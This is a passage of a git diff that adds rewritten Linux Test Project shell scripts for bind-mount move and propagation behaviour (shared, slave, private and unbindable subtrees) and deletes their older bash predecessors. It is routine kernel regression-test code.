+	fs_bind_check -n dir/grandchild/ parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child2/grandchild/a
+	fs_bind_check -n share1/grandchild/a parent2/child2/grandchild/a
+
+	EXPECT_PASS umount parent2/child2/grandchild/a
+	EXPECT_PASS umount share1/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh
new file mode 100755
index 0000000..ccae318
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move12.sh
@@ -0,0 +1,45 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: slave subtree to uncloneable parent"
+
+	fs_bind_makedir rshared dir
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	EXPECT_PASS mount --bind dir share1
+	EXPECT_PASS mount --make-rslave dir
+	mkdir parent2/child2
+	EXPECT_FAIL mount --bind parent2 share2 2> /dev/null
+
+	EXPECT_PASS mount --move dir parent2/child2
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1/grandchild
+	fs_bind_check parent2/child2/grandchild share1/grandchild
+	fs_bind_check -n dir/grandchild/ parent2/child2/grandchild
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child2/grandchild/a
+	fs_bind_check -n share1/grandchild/a parent2/child2/grandchild/a
+
+	EXPECT_PASS umount parent2/child2/grandchild/a
+	EXPECT_PASS umount share1/grandchild
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh
new file mode 100755
index 0000000..7d45ce0
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move13.sh
@@ -0,0 +1,30 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: uncloneable subtree to shared parent"
+
+	fs_bind_makedir runbindable dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_FAIL mount --move dir parent2/child2
+
+	EXPECT_PASS umount dir
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh
new file mode 100755
index 0000000..83e383e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move14.sh
@@ -0,0 +1,32 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: uncloneable subtree to private parent"
+
+	fs_bind_makedir runbindable dir
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share2
+
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS mount --bind parent2 share2
+	fs_bind_check  -n parent2/child2/ share2/child2/
+
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh
new file mode 100755
index 0000000..8519b04
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move15.sh
@@ -0,0 +1,32 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: uncloneable subtree to slave parent"
+
+	fs_bind_makedir runbindable dir
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir dir/grandchild
+	mkdir parent2/child2
+	EXPECT_PASS mount --make-rslave parent2
+	EXPECT_PASS mount --move dir parent2/child2
+	fs_bind_check  -n parent2/child2/ share2/child2/
+
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh
new file mode 100755
index 0000000..f6047de
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move16.sh
@@ -0,0 +1,29 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: uncloneable subtree to uncloneable parent"
+
+	fs_bind_makedir runbindable dir
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+
+	mkdir dir/grandchild
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --move dir parent2/child2
+
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh
new file mode 100755
index 0000000..daf28dd
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move17.sh
@@ -0,0 +1,27 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: tree with shared parent"
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_makedir rshared parent2
+
+	mkdir parent2/child2
+
+	EXPECT_FAIL mount --move parent1/child1 parent2/child2
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh
new file mode 100755
index 0000000..2652c52
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move18.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private to private - with shared children"
+
+	fs_bind_makedir private parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind parent1/child1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	EXPECT_PASS mount --move parent1 parent2
+
+	fs_bind_check parent2/child1 share1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child1/a
+	fs_bind_check parent2/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" share1/b
+	fs_bind_check parent2/child1/b share1/b
+
+	EXPECT_PASS umount parent2/child1/a
+	fs_bind_check parent2/child1/a share1/a
+
+	EXPECT_PASS umount parent2/child1/b
+	fs_bind_check parent2/child1/b share1/b
+
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh
new file mode 100755
index 0000000..63c5cdb
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move19.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private to private - with slave children"
+
+	fs_bind_makedir private parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	mkdir parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind share1 parent1/child1
+
+	EXPECT_PASS mount --make-rslave parent1/child1
+
+	EXPECT_PASS mount --move parent1 parent2
+
+	fs_bind_check parent2/child1 share1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child1/a
+	fs_bind_check -n parent2/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" share1/b
+	fs_bind_check parent2/child1/b share1/b
+
+	EXPECT_PASS umount parent2/child1/b
+	fs_bind_check -n parent2/child1/b share1/b
+
+	EXPECT_PASS umount parent2/child1/a
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh
new file mode 100755
index 0000000..2d131b6
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move20.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: private to private - with unclonable children"
+
+	fs_bind_makedir private parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir runbindable parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	EXPECT_PASS mount --move parent1 parent2
+
+	fs_bind_check "$FS_BIND_DISK1" parent2/child1
+
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh
new file mode 100755
index 0000000..4b61be0
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move21.sh
@@ -0,0 +1,44 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: shared tree within a tree it is bound to"
+
+	mkdir parent1 parent2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1
+	EXPECT_PASS mount --make-rshared parent1
+
+	EXPECT_PASS mount --bind parent1 parent2
+
+	fs_bind_check parent1 parent2
+
+	EXPECT_PASS mount --move parent1 parent2/a
+
+	fs_bind_check parent2 parent2/a parent2/a/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/b
+
+	fs_bind_check parent2/b parent2/a/b parent2/a/a/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/a/c
+
+	fs_bind_check parent2/c parent2/a/c parent2/a/a/c
+
+	EXPECT_PASS umount parent2/a/a/c
+
+	fs_bind_check parent2/c parent2/a/c parent2/a/a/c
+
+	EXPECT_PASS umount parent2/b
+	EXPECT_PASS umount parent2/a/a
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh b/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh
new file mode 100755
index 0000000..ced34ac
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/move/fs_bind_move22.sh
@@ -0,0 +1,37 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "move: shared tree within a tree it is bound to - and then move to another share subtree"
+
+	fs_bind_makedir rshared parent1
+	mkdir parent1/a parent2
+	EXPECT_PASS mount --bind parent1 parent2
+
+	fs_bind_check parent1 parent2
+
+	EXPECT_PASS mount --move parent1 parent2/a
+
+	fs_bind_check parent2 parent2/a parent2/a/a
+
+	fs_bind_makedir rshared tmp1
+	mkdir tmp2 tmp1/1
+
+	EXPECT_PASS mount --bind tmp1 tmp2
+	EXPECT_PASS mount --move parent2  tmp1/1
+
+	EXPECT_PASS umount tmp1/1/a/a
+	EXPECT_PASS umount tmp1/1
+	EXPECT_PASS umount tmp1
+	EXPECT_PASS umount tmp2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/move/test01 b/testcases/kernel/fs/fs_bind/move/test01
deleted file mode 100755
index 8b799e6..0000000
--- a/testcases/kernel/fs/fs_bind/move/test01
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test01} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST01***************"
-tst_resm TINFO "move: shared child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test01 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind dir share1
-	mount --bind parent2 share2
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share1/grandchild share2/child2/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share1/grandchild/a
-
-	check parent2/child2/grandchild/a share1/grandchild/a share2/child2/grandchild/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test01: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test01: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount dir 2> /dev/null
-	umount share1/grandchild/a
-	umount share1/grandchild/
-	umount parent2/child2
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test01: FAILED: move: shared child to shared parent."
-	exit 1
-else
-	tst_resm TPASS "move/test01: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test02 b/testcases/kernel/fs/fs_bind/move/test02
deleted file mode 100755
index 18de6d4..0000000
--- a/testcases/kernel/fs/fs_bind/move/test02
+++ /dev/null
@@ -1,94 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-SETS_DEFAULTS="${TCID=test02} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "move: shared subtree to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test02 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-
-	mount --bind dir share1
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-	mount --bind parent2 share2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share2/child2/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share1/grandchild/a
-
-	check parent2/child2/grandchild/a share1/grandchild/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test02: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test02: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/grandchild/a
-	umount share1/grandchild/
-	umount parent2/child2
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test02: FAILED: move: shared subtree to private parent."
-	exit 1
-else
-	tst_resm TPASS "move/test02: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test03 b/testcases/kernel/fs/fs_bind/move/test03
deleted file mode 100755
index e2960e3..0000000
--- a/testcases/kernel/fs/fs_bind/move/test03
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test03} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "move: shared subtree to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test03 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --bind dir share1
-	mount --bind share2 parent2
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-	check -n share2/child2/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share1/grandchild/a
-
-	check parent2/child2/grandchild/a share1/grandchild/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test03: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test03: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/grandchild/a
-	umount parent2/child2/grandchild
-	umount parent2/child2 # if move succeeded
-	umount dir # if move failed
-	umount parent2
-	umount share1
-	umount share2
-	umount share1
-	umount parent2
-	umount dir
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test03: FAILED: move: shared subtree to slave parent."
-	exit 1
-else
-	tst_resm TPASS "move/test03: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test04 b/testcases/kernel/fs/fs_bind/move/test04
deleted file mode 100755
index 0715d68..0000000
--- a/testcases/kernel/fs/fs_bind/move/test04
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test04} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST04***************"
-tst_resm TINFO "move: shared subtree to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test04 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share dir
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-
-	mount --bind dir share1
-	mkdir dir/grandchild
-	mkdir parent2/child2
-	mount --move dir parent2/child2
-
-	mount --bind "$disk1" parent2/child2/grandchild
-	check parent2/child2/grandchild share1/grandchild
-	check -n dir/grandchild parent2/child2/grandchild
-
-	mount --bind "$disk2" share1/grandchild/a
-
-	check parent2/child2/grandchild/a share1/grandchild/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "move/test04: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "move/test04: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount share1/grandchild/a
-	umount share1/grandchild/
-	umount parent2/child2
-	umount share1
-	umount share1
-	umount parent2
-
-	rm -rf dir parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "move/test04: FAILED: move: shared subtree to uncloneable parent."
-	exit 1
-else
-	tst_resm TPASS "move/test04: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/move/test05 b/testcases/kernel/fs/fs_bind/move/test05
deleted file mode 100755
index 21901d0..0000000
--- a/testcases/kernel/fs/fs_bind/move/test05
+++ /dev/null
@@ -1,94 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test05} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST05***************"
-tst_resm TINFO "move: private subtree to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of move/test05 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" priv dir
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-
-	mount --bind parent2 share2
